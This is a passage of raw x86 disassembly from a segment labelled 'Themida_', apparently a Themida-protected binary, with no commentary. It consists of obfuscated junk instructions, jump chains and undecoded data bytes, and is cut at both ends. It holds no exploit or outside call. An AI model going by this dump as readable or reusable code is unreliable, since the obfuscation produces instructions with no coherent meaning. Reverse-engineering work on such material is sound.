edi, 6157B73h cmp eax, [edi+2Ch] jnz short loc_5818A0 jmp short loc_5818B3 ; --------------------------------------------------------------------------- loc_5818A0: ; CODE XREF: Themida_:0058189Cj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5818AF ; --------------------------------------------------------------------------- loc_5818AA: ; CODE XREF: Themida_:005818B1j add [edi+ecx*4+40h], eax dec ecx loc_5818AF: ; CODE XREF: Themida_:005818A8j or ecx, ecx jnz short loc_5818AA loc_5818B3: ; CODE XREF: Themida_:0058189Ej mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_5818C0: ; CODE XREF: Themida_:005818C7j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5818C0 loc_5818C9: ; CODE XREF: Themida_:00581A99j ; Themida_:00581FD6j ... lodsb push small 1383h mov [esp], dx jmp loc_58C144 ; --------------------------------------------------------------------------- db 21h dd 242C8BEAh, 4C481h, 0F2810000h, 732B4263h, 815AD701h dd 0A07B6AC7h, 50CF010Bh, 117A6BB8h, 49FE2D7Dh, 40480263h dd 0E4B0735h, 58C72971h, 1DAF68h, 241C8900h, 5F57E9h db 0 ; --------------------------------------------------------------------------- loc_581915: ; CODE XREF: Themida_:00584B6Fj mov ebp, [esp] jmp loc_586E94 ; --------------------------------------------------------------------------- db 5Ch, 8Bh, 4 dd 4EC8124h, 89000000h, 8B542434h, 0C7E92434h, 8900008Ch dd 0EC835EF2h, 243C8904h, 3C06B951h, 0CF897648h, 55DFF759h dd 483C05BDh, 5DEF3176h, 9282E9h, 24248900h, 4240483h dd 0A530E9h db 0 ; --------------------------------------------------------------------------- loc_581961: ; CODE XREF: Themida_:0058D52Cj add al, 3Dh mov cx, [esp] push ebp mov ebp, esp sub esp, 4 mov [esp], eax push edi mov edi, 4 mov eax, edi jmp loc_58B824 ; --------------------------------------------------------------------------- loc_58197D: ; CODE XREF: Themida_:0058C757j add ecx, eax jmp loc_5858C2 ; --------------------------------------------------------------------------- aNisqs db '¾["niéQ™',0 align 2 dw 5556h dd 477A81BDh, 246C2936h, 4AE95D04h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58199F: ; CODE XREF: Themida_:0058266Fj pop ebp push dword ptr [esp] jmp loc_58557B ; --------------------------------------------------------------------------- loc_5819A8: ; CODE XREF: Themida_:0058B7EDj sub [esp+8], edx add dword ptr [esp+8], 4A922F27h jmp loc_5831FF ; --------------------------------------------------------------------------- aTsD db 'Té!D',0 dw 6600h dd 0E7686659h, 1489665Dh, 0E9F9B624h, 5B2Dh, 0D354ABEh dd 8E6C152h, 1783C681h, 0F201570Ch, 1F5DE95Eh, 0FDBF0000h dd 31194E6Ch, 582D5FF8h, 0E94A0036h, 1147h ; --------------------------------------------------------------------------- loc_5819F8: ; CODE XREF: Themida_:00588694j add edx, edi push dword ptr [edx] add dword ptr [esp], 743A7130h mov ecx, [esp] jmp loc_584905 ; --------------------------------------------------------------------------- loc_581A0B: ; CODE XREF: Themida_:005867E7j mov ebx, [esp] add esp, 4 and eax, esi pop esi or eax, eax jz loc_58A3E9 push 52Fh jmp loc_587DC1 ; --------------------------------------------------------------------------- db 81h, 0CEh, 1Dh dd 5244CC6Dh, 916A73BAh, 3E2C147h, 7DC5E9h, 2E0C100h, 0E904E8C1h dd 0BC1Bh ; --------------------------------------------------------------------------- loc_581A48: ; CODE XREF: Themida_:0058525Ej xor ebp, [esp] pop esp mov [esp], ebx jmp loc_58DB8D ; --------------------------------------------------------------------------- aUs db 'Ué»Ä',0 align 2 loc_581A5A: ; CODE XREF: Themida_:005823ADj mov [esp], edi push esp mov edi, [esp] add esp, 4 push 326Fh mov [esp], esi mov esi, 4 sub edi, 224D6FE8h add edi, esi add edi, 224D6FE8h mov esi, [esp] add esp, 4 add edi, 4 jmp loc_58BD4A ; --------------------------------------------------------------------------- loc_581A90: ; CODE XREF: Themida_:005844FAj mov ebx, [esp] add esp, 4 jmp loc_5818C9 ; --------------------------------------------------------------------------- dw 205h dd 0E9000000h, 6C91h ; --------------------------------------------------------------------------- loc_581AA8: ; CODE XREF: Themida_:0058B74Fj or eax, eax jz loc_583536 push dword ptr [edi+28h] push eax mov eax, 27C2051Bh xor [esp+4], eax pop eax jmp loc_5841E3 ; --------------------------------------------------------------------------- db 5 dd 4, 31240433h, 4BE92404h, 0AC00007Bh, 10B65253h, 9144E9h db 0 ; --------------------------------------------------------------------------- loc_581ADD: ; CODE XREF: Themida_:0058CBB5j mov edx, edi jmp loc_585F27 ; --------------------------------------------------------------------------- dd 6832ED81h, 33583577h, 2C31242Ch, 67AE924h, 24890000h dd 24048324h, 24048F04h, 4240483h, 68241C8Bh, 2018h, 1EEDE9h dd 0FDE95300h, 680000ABh, 234h, 0B6241489h, 4862CC1h, 28680428h dd 81682CF0h, 4ECh, 241C8900h, 0E7D069B7h, 0AEE9E7D0h dd 83000037h, 0E38101C3h, 56A94A71h, 4EC81h, 34890000h dd 17BABE24h, 4E46178Fh, 0A85AF681h, 0F301D779h, 207E9h dd 0E9FE8800h, 3F11h, 4B30F66h, 52E99C24h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_581B77: ; CODE XREF: Themida_:0058BF63j add eax, 2E4F7C8Dh dec eax push ebp mov ebp, 6E221C48h xor eax, ebp pop ebp add eax, 197F6F5Dh mov ebx, eax pop eax inc ebx jmp loc_582DDD ; --------------------------------------------------------------------------- dd 405h, 42D00h, 4870000h, 0C9E95C24h, 100005Ah, 0D5EF81EFh dd 8107B118h, 4616D3EFh, 77BAE964h, 0C4810000h, 4, 0B52CD828h dd 0A9B25266h, 80A4E280h, 152C62F2h, 1504D028h, 72A2E9h dd 3FE70500h, 5486083h, 9323F2B3h, 0F758C689h, 0E9F681D6h dd 5110A017h, 1DADE9h, 24048900h, 405E089h, 0E9000000h dd 6F84h, 4EC81h, 4890000h, 0F3E95224h, 0FF000011h, 34FF2434h dd 240C8B24h, 8104C483h, 4C4h, 82C1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_581C2A: ; CODE XREF: Themida_:005895E5j or eax, eax jz loc_58D306 push edx push ebp mov ebp, 29CC3AC1h mov edx, ebp jmp loc_58A42C ; --------------------------------------------------------------------------- loc_581C40: ; CODE XREF: Themida_:005836F1j add eax, 50AB2F9Ch jmp loc_584836 ; --------------------------------------------------------------------------- dw 77FFh dd 19589D1Ch, 0E99C2404h, 0FFFFFC71h, 0E909C380h, 5F3Fh dd 0B2B9C781h, 0B3E9D754h, 4F0000ACh, 3DFEE9h, 24148900h dd 6922E9h db 0 ; --------------------------------------------------------------------------- loc_581C79: ; CODE XREF: Themida_:0058BB27j mov edi, 4 add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] pop esp or eax, eax jnz loc_583536 sub esp, 4 mov [esp], ebp push 0D4963BCh jmp loc_58509A ; --------------------------------------------------------------------------- loc_581CA6: ; CODE XREF: Themida_:0058C699j mov [esp], eax push esp jmp loc_583563 ; --------------------------------------------------------------------------- loc_581CAF: ; CODE XREF: Themida_:00585124j add ecx, 4 push 75D6h mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push eax push esp pop eax jmp loc_58C6B4 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 9CC83B66h, 91CE9h, 39C38100h, 81FCE59Dh, 7C73DCEFh dd 81DF0172h, 7C73DCC7h, 0C7835B72h, 3630E904h, 2C890000h dd 535D5424h, 529A68h, 24048900h, 0CB0A01B8h, 32E9526Dh dd 830000B2h, 1AE904ECh, 53000089h, 0CB8091B3h, 0B75352DBh dd 28CDB2C6h, 0DAF65BFAh, 0D2F6C2FEh, 804CE280h, 0EA8081CAh dd 0E9D300AEh, 4264h, 240C895Ch, 0FFFFFFB9h, 0EDEE81FFh dd 17ACC73h, 0EDC681CEh, 0FF7ACC73h, 0E9592434h, 5BE5h ; --------------------------------------------------------------------------- loc_581D64: ; CODE XREF: Themida_:00587B0Ej mov ecx, esp push eax jmp loc_58B70B ; --------------------------------------------------------------------------- dd 0FFD8215Eh, 505B2434h, 405E089h, 0E9000000h, 0FFFFFD43h dd 7D0B2D66h, 63B96651h, 663BE95Dh, 0C12D0000h, 293EBAC4h dd 0EB8158C3h, 38235602h, 0BB68C301h, 89000066h, 13BA2414h dd 0E94D6A32h, 4889h, 0C5E95655h, 500001Ah, 6EEADCC5h dd 8158C629h, 1C7C84EDh, 81F5014Dh, 1C7C84C5h, 2C875E4Dh dd 24248B24h, 9FFDE9h db 0 ; --------------------------------------------------------------------------- loc_581DD9: ; CODE XREF: Themida_:0058CC1Ej sub esp, 4 mov [esp], esi mov esi, 4 add ebx, esi mov esi, [esp] add esp, 4 push eax mov eax, 4 add ebx, eax jmp loc_58BFBC ; --------------------------------------------------------------------------- dd 2F6FEF81h, 875A199Bh, 248B243Ch, 240CD324h, 0FAB7E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_581E12: ; CODE XREF: Themida_:0058947Ej inc edx jmp loc_58CEA7 ; --------------------------------------------------------------------------- dd 4C481h, 34FF0000h, 24048B24h, 4C481h, 89500000h, 4EC83E0h dd 790EE9h, 81E68900h, 4C6h, 4C68100h, 0E9000000h, 9F6h dd 6E7C158h, 29BBE9h db 0 ; --------------------------------------------------------------------------- loc_581E51: ; CODE XREF: Themida_:00582DE7j mov edx, 2EB71BDFh jmp loc_582368 ; --------------------------------------------------------------------------- aBS db 'ÅÊ',0Ah db '`',1Bh,'é¾»',0 align 2 loc_581E66: ; CODE XREF: Themida_:0058D653j mov esi, 5BEB1ED4h sub esi, 1DA7E79h or esi, 180726BCh jmp loc_58B8C2 ; --------------------------------------------------------------------------- dd offset dword_59CA28 dd 2434FFD3h, 4C4815Ah, 0 aHh db 'ÃhH',27h,0 align 2 dw 1489h dd 50F0B224h, 0C32844B0h, 0AB7BE9h, 5FFD2900h, 261BE9h dd 57595400h, 2994E9h db 0 ; --------------------------------------------------------------------------- loc_581EB1: ; CODE XREF: Themida_:0058D0DFj pop ebx add esp, 4 jmp loc_58C9EB ; --------------------------------------------------------------------------- dw 3358h dd 0C31240Ch, 240C3324h, 0F9FFE95Ch, 0EE01FFFFh, 36DFBB53h dd 0EB814DD7h, 1A3DDE69h, 8B5BDE01h, 0C483242Ch, 8740E904h dd 0E9C00000h, 3D7EE905h, 0EC830000h, 240C8904h, 3338E9h db 0 ; --------------------------------------------------------------------------- loc_581EF9: ; CODE XREF: Themida_:0058892Dj not ebx push ebx push dword ptr [esp+4] jmp loc_58D0D8 ; --------------------------------------------------------------------------- db 0B9h, 0A6h, 1Ch dd 0F1814D1Ah, 4D1A1CA2h, 159CF89h, 5F04247Ch, 0FFF9ACE9h dd 48B66FFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 528Ch mov [esp], ecx mov ecx, 676860BAh sub ecx, 676860B6h add ebp, ecx pop ecx jmp loc_58A722 ; --------------------------------------------------------------------------- loc_581F3F: ; CODE XREF: Themida_:0058DC88j or [edi+1Ch], ebx jmp loc_58671F ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28100h, 33000000h, 14312414h, 24143324h, 0B419E9h db 0 ; --------------------------------------------------------------------------- loc_581F61: ; CODE XREF: Themida_:0058C14Ej push 40D0h mov [esp], ecx push ebx mov bl, 8Fh mov ch, 51h xor ch, bl pop ebx sub al, ch mov ecx, [esp] jmp loc_589B64 ; --------------------------------------------------------------------------- db 68h dd 79FAh, 0B7241C89h, 3E7C0F3h, 0E923E780h, 20ECh ; --------------------------------------------------------------------------- loc_581F90: ; CODE XREF: Themida_:00585A8Ej mov ebp, 2B54BA4Ah sub edi, 7A185336h sub edi, ebp add edi, 7A185336h mov ebp, [esp] add esp, 4 and eax, edi jmp loc_589D44 ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 24048B00h, 4C481h, 2C880000h, 18E95987h db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_581FCB: ; CODE XREF: Themida_:00583CD1j mov [esp], cx movzx cx, al push cx pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- db 89h dd 0E6E92404h, 5DFFFFF8h, 5C241487h, 56E18951h, 0A20942BEh dd 22CE8163h, 0E95EC335h, 8D3Fh, 4240481h, 0E9000000h dd 0FFFFF8C1h, 0F988A1B7h, 59CC885Bh, 0F6A3CC80h, 80CCFEDCh dd 0E328D9F4h, 0B60F5958h, 48F66C0h, 0F89FE987h, 0EC81FFFFh dd 4, 8DB9E9h, 0ECE95100h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58203B: ; CODE XREF: Themida_:00588C93j push 46Fh mov [esp], edx mov edx, 5A091176h shl edx, 4 xor edx, 56255157h and edx, 764C17B5h jmp loc_584E7D ; --------------------------------------------------------------------------- dd 0F744A35h, 3F213531h, 0C62968E5h, 0EEC15A58h, 3DE94605h dd 81000051h, 432E88EBh, 243C8B67h, 0E9E68956h, 0A4B4h dd 0E9240C31h, 63C7h, 0C6815E5Bh, 4, 4EE81h, 34870000h dd 0AC50E924h, 0FF550000h, 5D042474h, 2C1EE9h, 0E9D32C00h dd 484Bh, 241C8B5Ah, 3C8B5457h, 4C48124h, 81000000h, 4C7h dd 4C78100h, 57000000h, 60B8E9h db 0 ; --------------------------------------------------------------------------- loc_5820D5: ; CODE XREF: Themida_:00584E5Fj push dword ptr [esp] pop edx add esp, 4 pop dword ptr [esp] pop esp mov [esp], cx movzx cx, al push cx pushf jmp loc_586593 ; --------------------------------------------------------------------------- dd offset dword_455248+9820h dd 24048900h, 0A0365CB8h, 24C3351Bh, 0C7896627h, 5E7C158h dd 89CF814Fh, 81136928h, 5A386FC7h, 0B7C78127h, 8158743Bh dd 47390CF7h, 5FFA01B1h, 895B5253h, 2434FFD8h, 0E9241C8Bh dd 6E82h, 2BE565Eh, 81000000h, 0C016BCEFh, 81F7016Bh, 0C016BCC7h dd 3C875E6Bh, 24248B24h, 0E9F1F766h, 9788h, 0ED8028B5h dd 80F52893h, 305A93C5h, 0F855E9E8h, 0E959FFFFh, 3C21h dd 8B242C33h, 14892424h, 0E99C5024h, 0FFFFF749h, 49322F68h dd 0B8EBE96Bh, 52580000h, 0D95F1BBAh, 81E2D11Fh, 0EB9ED0F2h dd 5AD62939h, 0DA9EE81h, 6CE90EB9h, 1000062h, 0C3815DEBh dd 738779EEh, 0EB81FB29h, 738779EEh, 5637E9h, 70C28100h dd 0E96C4B0Ch, 3764h, 371368h, 32D3E900h, 48B0000h, 0E9545624h dd 61DBh, 4BD5559h, 81000000h, 7254EEE9h, 52E90117h, 585FBF57h dd 0F7817F95h, 327546E4h, 5CF6E781h, 0E7815593h, 139E2D32h dd 48BCC781h, 0FA8915F2h, 0E9D1015Fh, 0ACDBh, 8324148Bh dd 0C28104C4h, 4, 0B377E955h, 4050000h, 68000000h, 12E7h dd 0BE243489h, 5C984B22h, 52F8E9h, 0D8C18100h, 5D6D1E0Eh dd 7114E9h db 0 ; --------------------------------------------------------------------------- loc_582249: ; CODE XREF: Themida_:005882BFj add esp, 4 jmp loc_588283 ; --------------------------------------------------------------------------- loc_582251: ; CODE XREF: Themida_:00586FA8j xchg ebp, [esp] pop esp jmp loc_582380 ; --------------------------------------------------------------------------- loc_58225A: ; CODE XREF: Themida_:00589693j push 546Fh jmp loc_58DB5B ; --------------------------------------------------------------------------- dd 7EAFC681h, 55B7A4Eh, 1B361EB7h, 1712BB2Dh, 6B9E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58227A: ; CODE XREF: Themida_:00583FE0j pop eax push ebp push edx mov edx, 5D064EB6h not edx neg edx push ebp mov ebp, 0 sub ebp, edx xchg ebp, edx pop ebp sub edx, 8E7B9759h mov ebp, edx pop edx inc ebp sub esp, 4 mov [esp], ebx mov ebx, 599104B1h and ebp, ebx jmp loc_586EB3 ; --------------------------------------------------------------------------- a3lVsmg db '½3lÛvé¬g',0 align 2 aIus db '‰ãéê]',0 db 0 ; --------------------------------------------------------------------------- loc_5822C1: ; CODE XREF: Themida_:0058BA2Ej or eax, 54B2F53h neg eax shr eax, 2 xor eax, 0DBB33FE6h mov esi, eax jmp loc_587145 ; --------------------------------------------------------------------------- db 5Eh dd 7622BF57h, 0FE314B38h, 241C8B5Fh, 4C481h, 0F0210000h dd 8124348Bh, 4C4h, 0D1C20900h, 2477FFE2h, 9B30E9h db 0 ; --------------------------------------------------------------------------- loc_582301: ; CODE XREF: Themida_:0058494Ej and edx, 406E6F79h push 53CBh mov [esp], eax mov eax, 51D212DBh not eax sub eax, 53AE27C0h xor eax, 5A77C370h xor edx, eax pop eax jmp loc_58946E ; --------------------------------------------------------------------------- dd 5024048Bh, 405E089h, 56000000h, 0DC30A9BEh, 4EC816Fh dd 0E9000000h, 373h ; --------------------------------------------------------------------------- loc_582344: ; CODE XREF: Themida_:00585816j pop eax push dword ptr [esp] pop esi push 24FCh mov [esp], ebp push esp pop ebp jmp loc_582DD2 ; --------------------------------------------------------------------------- dd 4BBh, 5BD80100h, 0E9240433h, 0B6DCh ; --------------------------------------------------------------------------- loc_582368: ; CODE XREF: Themida_:00581E56j and edx, 60315B21h inc edx shl edx, 8 xor edx, 64D02021h add ecx, edx pop edx jmp loc_585C4E ; --------------------------------------------------------------------------- loc_582380: ; CODE XREF: Themida_:00582255j xchg ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_5818C9 ; --------------------------------------------------------------------------- dw 8B66h dd 54562404h, 1BCE9h db 0 ; --------------------------------------------------------------------------- loc_582399: ; CODE XREF: Themida_:005841D8j mov esp, [esp] xor ecx, 26DB6D8Ah push ebp jmp loc_582CF0 ; --------------------------------------------------------------------------- loc_5823A8: ; CODE XREF: Themida_:0058486Bj push 6535h jmp loc_581A5A ; --------------------------------------------------------------------------- dw 0CF87h dd 66F6850h, 3C890000h, 24048B24h, 5A68E953h, 96BB0000h dd 29906920h, 0EE295BDDh, 4658E9h, 1039B800h, 0D1E96EDBh dd 30000062h, 8D685BF8h, 8900002Bh, 7CB42404h, 28EBC380h dd 0EBEB80E3h, 190CE9h, 4BE00h, 0F3890000h, 423E95Eh, 0B5510000h dd 0D0D5F6F4h, 0ED80EDh, 7E9DDF6h, 87000094h, 5C243Ch dd 37C380C3h, 539FEB80h, 4ECA6850h, 0CE951BDh, 81000098h dd 4C4h, 0C0C38100h, 29413F38h, 7ABD55C3h, 81751C27h, 0B2729EC5h dd 14F75565h, 22B5E924h, 0E8010000h, 15A7685Dh, 3C890000h dd 3D44BF24h, 0C78158DAh, 0DE43DF77h, 3C8BF801h, 4C48124h dd 0E9000000h, 0A2FBh, 0BCC1815Bh, 1A9F3BAh, 686859C8h dd 89000007h, 2BE2434h, 1000000h, 43F7E9F0h, 82040000h dd 0F689B551h, 7EDC0DDh, 805CE580h, 0CD8024CDh, 1E953AAh dd 0FF000083h, 51E92434h, 89000010h, 39BE9E5h, 89500000h dd 0F6CEE9E0h, 34FFFFFFh, 0EC835824h, 24048904h, 9C30E954h dd 0E95C0000h, 0FFFFF3EDh, 4C3815Bh, 83000000h, 1C8704C3h dd 0BD555C24h, 316A151Ah, 151EB850h, 0C531316Ah, 0C34E9h dd 96BD5500h, 0E9608826h, 845Ch, 0E9E18951h, 66A6h, 0E930FF66h dd 0AAC1h, 42474FFh, 10E2E958h, 0E9580000h, 7170h, 505FFD87h dd 3D70E9h, 4BA00h, 0D7010000h, 33B4E9h, 5C0C6800h, 86E90000h dd 660000B8h, 8324048Bh, 0D2F602C4h, 2A14E9h, 46E95E00h dd 0FF00000Ch, 0EC818734h, 4, 0BB241C89h, 23656316h, 4245C31h dd 2434FF5Bh, 4C48358h, 7C1268h, 241C8900h, 6DBBF57h, 0CDBB05DCh dd 3126B965h, 243C8BFBh, 3104C483h, 2434FFD8h, 81241C8Bh dd 4C4h, 4C48300h, 0B60F66h, 18986866h, 24048966h, 0FFF314E9h dd 89E95DFFh, 0F7000037h, 84EF81D7h, 8118AA7Ch, 5A91A9C7h dd 0E9F8290Bh, 2712h, 3C8B68h, 24348900h, 7D0372BEh, 5C22E954h dd 0D52D0000h, 597E2E79h, 5EF968h, 24348900h, 0AA43E9h db 0 ; --------------------------------------------------------------------------- loc_5825F5: ; CODE XREF: Themida_:00584928j xor [esp], ecx jmp loc_58D63D ; --------------------------------------------------------------------------- db 0E9h, 0C7h, 0F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_582602: ; CODE XREF: Themida_:0058734Dj pop edi xchg ecx, [esp] mov esp, [esp] jmp loc_584882 ; --------------------------------------------------------------------------- dw 0F031h dd 0E92434FFh, 234Ah, 0E906E9C1h, 5DAh, 0FDA0E953h, 0C89FFFFh dd 0E9C58824h, 0A6D5h, 8102E2C1h, 3FAA22EAh, 8BD10125h dd 0C4812414h, 4, 4EC81h, 4890000h, 1E2FB824h, 0E70D544Dh dd 2D1E9B45h, 0FFFFFFFFh, 0EEF6872Dh, 81A6E944h db 2 dup(0) ; --------------------------------------------------------------------------- loc_582666: ; CODE XREF: Themida_:005835FAj mov ebp, 6DD802F4h add [esp+4], ebp jmp loc_58199F ; --------------------------------------------------------------------------- dd offset dword_59E800 dd 42A2CC8h, 66822C0Eh, 94EB8059h, 8006C380h, 97E903EBh dd 81000021h, 6A5989EFh, 0C7835A45h, 243C3304h, 0E9243C31h dd 0B792h, 71D5B951h, 0D9F7188Dh, 6D28E181h, 7FE920A5h dd 89000058h, 58E9241Ch, 83000055h, 0BFE904ECh, 8B00006Ch dd 0C4812414h, 4, 4C281h, 51570000h, 0F34B6BB9h, 0B499BF2Fh dd 12E9D00Ch, 0B600005Ah, 0E9F32809h, 1EBFh, 5C24048Fh dd 612668h, 241C8900h, 382968h, 240C8900h, 2FB15153h, 0E959CB88h dd 9BD4h, 0E9241C89h, 0A976h, 6DF06853h, 0E95B2667h, 2D6Bh dd 81E38953h, 4ECh, 24048900h, 0C6326DB8h, 4E0C129h, 0B628E952h dd 51530000h, 79E98FB1h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_582747: ; CODE XREF: Themida_:00586262j push 1 pop edx push 149Dh mov [esp], ecx mov ecx, 24h add ecx, edi push eax mov eax, 2012162Ch add eax, 0DFEDE9D4h add eax, ecx add [eax], edx pop eax mov ecx, [esp] jmp loc_58469E ; --------------------------------------------------------------------------- dd 33243431h, 835C2434h, 2C8904ECh, 50E58924h, 4B8h, 595BE900h dd 55520000h, 0CF0FE0BDh, 81DDF708h, 63EE90EDh, 5D5A5573h dd 148B5D52h, 0ADA7E924h, 83520000h, 5A012404h, 0B4EEE9h dd 24248900h, 0FFF83FE9h, 41C981FFh, 8106BB2Dh, 0CDD4FEC1h dd 0AA69E900h, 53660000h, 0DD005EB3h, 74AAE9h, 0DF685600h dd 89000042h, 4812424h, 424h, 0AF9E900h, 0F1810000h, 3D9E60CFh dd 2959CB29h, 9AC381EBh, 0E9355E44h, 0B306h, 0DA88CBFEh dd 0E9515B66h, 46FEh, 480BE56h, 8EE91384h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58281B: ; CODE XREF: Themida_:00584CDDj push ebp jmp loc_583CC8 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 6BF4E9h, 5BD80100h, 5C240487h, 7976E9h, 88506600h, 7F7FE9ECh dd 34870000h, 0BD555C24h, 2, 335DEB01h, 1C31241Ch, 241C3324h dd 0FFF47CE9h, 4C581FFh, 81000000h, 4C5h, 242C8700h, 4AF8E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_58286E: ; CODE XREF: Themida_:0058CD30j add esp, 4 jmp loc_58CC17 ; --------------------------------------------------------------------------- dw 0C629h dd 0F0B5E958h, 5456FFFFh, 3429E9h, 4B85000h, 0E9000000h dd 0B70Eh, 1B8h, 0E9C50100h, 6582h, 68242C89h, 28CFh, 68243C89h dd 22D27368h, 0E950555Fh, 5C6h ; --------------------------------------------------------------------------- loc_5828B4: ; CODE XREF: Themida_:0058D2D1j push ebx mov ebx, 754C4AC5h mov ecx, 7A65046Dh xor ecx, ebx mov ebx, [esp] add esp, 4 neg ecx sub ecx, 0FFFFFFFFh xor ecx, 999D8C5Fh sub eax, ecx mov ecx, [esp] add esp, 4 add eax, 7C361E58h add eax, 0BD26722h jmp loc_5830A6 ; --------------------------------------------------------------------------- loc_5828EF: ; CODE XREF: Themida_:005870F9j mov ebp, ecx jmp loc_58AB7F ; --------------------------------------------------------------------------- dw 0E954h dd 0FFFFFBE0h, 352CF800h, 0F4E96404h, 8800008Eh, 5AF588FEh dd 85C3805Bh, 0E950EB00h, 3D9Ah, 241CF766h, 0EFA7E99Ch dd 3489FFFFh, 2474FF24h, 48F5E04h, 40E95C24h, 2900006Ch dd 12BB05F0h, 0B72D5417h, 0E91B361Eh, 1281h, 66C62966h dd 665E6696h, 66BAA92Dh, 6658C289h, 782EF281h, 8BD30166h dd 0C4832414h, 0A41FE904h, 91B70000h, 8017E780h, 0DFF6CAEFh dd 0C780DFF6h, 3F54E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58297A: ; CODE XREF: Themida_:00585C42j xor bl, 0Ch add al, bl pop ebx jmp loc_585CC6 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 46856h, 348B0000h, 0E2895224h, 4C281h, 0C2810000h, 4 dd 5C241487h, 4246C81h, 7A0845ECh, 465EE9h, 0E9EA2900h dd 9F75h, 6B85EE81h, 0E6C1645Eh, 0AAEE8102h, 896FD672h dd 0D9895EF3h, 53241C8Bh, 0C381E389h, 4, 0E904C383h, 5C4Dh dd 33241C31h, 4DE9241Ch db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5829EB: ; CODE XREF: Themida_:00583B03j pop dword ptr [esp] not ebx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esi, [esp] jmp loc_586A52 ; --------------------------------------------------------------------------- db 5Ch, 89h, 1Ch dd 0E95424h, 5E000091h, 818AE9h, 0BD555300h, 797A3AB3h dd 9E9E16BBh, 5DEB29D0h, 77BEF381h, 0DD895178h, 51E9535Bh dd 0FFFFFFF7h, 68582434h, 62F0h, 89240C89h, 4C47E9E1h dd 0D7F70000h, 0A33FF781h, 0F801C0FBh, 2DF8015Fh, 0A2B2161h dd 2BB535Fh, 1000000h, 4875BD8h, 3901E924h, 66BD0000h dd 0F7430F63h, 0FBAEE9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_582A72: ; CODE XREF: Themida_:005840C5j push edx mov edx, 288B0C4Bh sub edx, 1A79407Ch push 0 jmp loc_58CDB5 ; --------------------------------------------------------------------------- dd 0E953DAF6h, 0FFFFFED6h ; --------------------------------------------------------------------------- loc_582A90: ; CODE XREF: Themida_:0058A3EAj mov eax, esp jmp loc_585584 ; --------------------------------------------------------------------------- db 0F7h dd 0EDF781DFh, 8115D25Eh, 883015C7h, 57FEE935h, 0E95A0000h dd 898Eh, 159CF29h, 535E5FF9h, 4BBh, 5BD90100h, 0E9240C87h dd 3CD0h, 5C241C87h, 0D4E9D029h, 8B00006Ah, 0C481243Ch dd 4, 267DB951h, 0F18110EDh, 0F3E1142h, 8107E9C1h, 3FA66AE9h dd 8BCF0100h, 0EC81240Ch, 4, 9B9DE9h, 9EB85000h, 486A951Bh dd 0CC087C35h, 0F27CE906h, 0E8C0FFFFh, 28313405h, 24048BC3h dd 81E78957h, 4C7h, 4C78100h, 0E9000000h, 0FFFFF8E7h ; --------------------------------------------------------------------------- loc_582B30: ; CODE XREF: Themida_:0058453Fj mov esi, [esp] jmp loc_5855A5 ; --------------------------------------------------------------------------- aPSip db 'Pœé‰P',0 dw 0C100h dd 443506E0h, 1E47754h, 0E98158C1h, 4, 8B240C87h, 2C892424h dd 1B9FE924h, 1C8B0000h, 4C48324h, 81E28952h, 4C2h, 4C28300h dd 5C241487h, 5966CB28h, 1929E9h db 0 ; --------------------------------------------------------------------------- loc_582B7D: ; CODE XREF: Themida_:0058AB83j xor ebp, 54B153B4h jmp loc_58C911 ; --------------------------------------------------------------------------- dd 0E9240487h, 73BEh, 9CC83B5Ch, 0FFED30E9h db 0FFh ; --------------------------------------------------------------------------- loc_582B99: ; CODE XREF: Themida_:005859D7j push 131Dh mov [esp], ebx mov ebx, 1 sub edx, 180D1FDEh add edx, ebx add edx, 180D1FDEh pop ebx push edi jmp loc_585AF5 ; --------------------------------------------------------------------------- aZsD db ']ZéÝd',0 align 2 dw 8B66h dd 89562404h, 4C681E6h, 51000000h, 0C181E189h, 4, 0BCB95152h dd 0BA4AA242h, 79E4643Dh, 8159CA29h, 0D87F95F2h, 10F2813Eh dd 29119A5Eh, 3285E9D1h, 0B8500000h, 695061BFh, 804DE835h dd 58C12951h, 3E1C181h, 0E9814B48h, 14C0168Ah, 8359CB01h dd 0B9E904C3h, 68000039h, 76CFh, 89243C89h, 7D7EE9E7h dd 19B90000h, 0F71D823Dh, 5F2BE9D1h, 65BD0000h, 0E9199011h dd 282h, 0E924248Bh, 0FFFFEC7Dh, 9456B1BAh, 5C4C2D38h dd 0D0011231h, 173CE9h, 4C48300h, 0BE56C229h, 0C1829A3h dd 0E95EF201h, 0FFFFEC59h, 23A768h, 243C8900h, 874DE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_582C7E: ; CODE XREF: Themida_:0058C9F7j mov esi, 64386DE2h shr esi, 2 not esi dec esi inc esi sub esi, 0E6F1E483h sub ebx, esi pop esi xor ebx, [esp] jmp loc_585A49 ; --------------------------------------------------------------------------- db 52h dd 5488DA88h, 0FF5A0187h, 0CFE92434h, 89000060h, 0E389241Ch dd 3BE168h, 240C8900h, 3E2ABB53h, 82B96E63h, 29C27C5Ah dd 241C8BD9h, 5104C483h, 